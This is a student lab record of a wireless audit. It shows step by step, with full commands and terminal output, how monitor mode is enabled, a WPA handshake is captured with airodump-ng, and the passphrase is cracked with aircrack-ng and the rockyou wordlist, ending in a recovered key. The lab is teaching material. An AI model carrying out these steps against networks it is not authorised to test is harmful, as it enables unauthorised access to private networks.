

EXP NO : 9b

DATE:

WIRELESS AUDIT

AIM:

To perform wireless audit on Access Point and decrypt WPA keys using aircrack-ng tool in Kalilinux OS.

ALGORITHM:

Step 1: Check the current wireless interface with iwconfig command.

Step 2: Get the channel number, MAC address, and ESSID with iwlist command.

Step 3: Start the wireless interface in monitor mode on a specific AP channel with airmon-ng.

Step 4: If processes are interfering with airmon-ng then kill those processes.

Step 5: Again start the wireless interface in monitor mode on a specific AP channel with airmon-ng.

Step 6: Start airodump-ng to capture Initialization Vectors(IVs).

Step 7: Capture IVs for at least 5 to 10 minutes and then press Ctrl + C to stop the operation.

Step 8: List the files to see the captured files.

Step 9: Run aircrack-ng to crack the key using the IVs collected and using the dictionary file rockyou.txt.

Step 10: If the passphrase is found in the dictionary then Key Found message displayed; else print Key Not Found.

OUTPUT:

```
root@kali:~# iwconfig
eth0    no wireless extensions.
```

```
wlan0 IEEE 802.11bgn ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm Retry short
limit:7 RTS thr:off Fragment thr:off
Encryption key:off Power Management:off
lo      no wireless extensions.
```

```
root@kali:~# iwlist wlan0 scanning
```

```
wlan0 Scan completed :
```

```
Cell 01 - Address: 14:F6:5A:F4:57:22
```

```
Channel:6
```

```
Frequency:2.437 GHz (Channel 6) Quality=70/70 Signal level=-27 dBm
```

```
Encryption key:on ESSID:"BENEDICT"
```

```
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s
```

```
Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s
```

```
36 Mb/s; 48 Mb/s; 54 Mb/s
```

```
Mode:Master Extra:tsf=00000000425b0a37 Extra: Last beacon: 548ms ago IE:
```

```
WPA Version 1
```

```
Group Cipher : TKIP
```

```
Pairwise Ciphers (2) : CCMP TKIP Authentication Suites (1) : PSK
```

```
root@kali:~# airmon-ng start wlan0
```

Found 2 processes that could cause trouble.

If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to kill (some of) them!

```
PID Name
```

```
1148 NetworkManager
```

```
1324 wpa_supplicant
```

```
PHY Interface Driver Chipset
```

```
phy0 wlan0 ath9k_htc Atheros Communications, Inc. AR9271 802.11n
```

Newly created monitor mode interface wlan0mon is *NOT* in monitor mode.

Removing non-monitor wlan0mon interface...

WARNING: unable to start monitor mode, please run "airmon-ng check kill"

```
root@kali:~# airmon-ng check kill
```

Killing these processes:

PID Name

1324 wpa_supplicant

root@kali:~# airmon-ng start wlan0

PHY Interface Driver Chipset

phy0 wlan0 ath9k_htc Atheros Communications, Inc. AR9271 802.11n

(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)

(mac80211 station mode vif disabled for [phy0]wlan0)

root@kali:~# airodump-ng -w atheros -c 6 --bssid 14:F6:5A:F4:57:22 wlan0mon
CH 6][Elapsed: 5 mins][2016-10-05 01:35][WPA handshake: 14:F6:5A:F4:57:
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH E
14:F6:5A:F4:57:22 -31 100 3104 100360 6 54e. WPA CCMP
PSK B

BSSID	STATION	PWR	Rate	Lost	Frames	Probe	14:F6:5A:F4:57:22
	70:05:14:A3:7E:3E	-32	2e-		0	0	10836

root@kali:~# ls -l

total 10348

-rw-r--r-- 1 root root 10580359 Oct 5 01:35 atheros-01.cap

-rw-r--r-- 1 root root 481 Oct 5 01:35 atheros-01.csv

-rw-r--r-- 1 root root 598 Oct 5 01:35 atheros-01.kismet.csv

-rw-r--r-- 1 root root 2796 Oct 5 01:35 atheros-01.kismet.netxml

root@kali:~# aircrack-ng -a 2 atheros-01.cap -w /usr/share/wordlists/rockyou.txt
[00:00:52] 84564 keys tested (1648.11 k/s)

KEY FOUND! [rec12345]

Master Key : CA 53 9B 5C 23 16 70 E4 84 53 16 9E FB 14 77 49 A9 7AA0
2D 9F BB 2B C3 8D 26 D2 33 54 3D 3A 43

Transient Key : F5 F4 BA AF 57 6F 87 04 58 02 ED 18 62 37 8A 53
38 86 F1 A2 CA 0D 4A 8D D6 EC ED 0D 6C 1D C1 AF
81 58 81 C2 5D 58 7F FA DE 13 34 D6 A2 AE FE 05 F6 53 B8 CA A0 70 EC 02
1B EA 5F 7A DA 7A EC 7D

EAPOL HMAC 0A 12 4C 3D ED BD EE C0 2B C9 5A E3 C1 65 A8 5C

RESULT: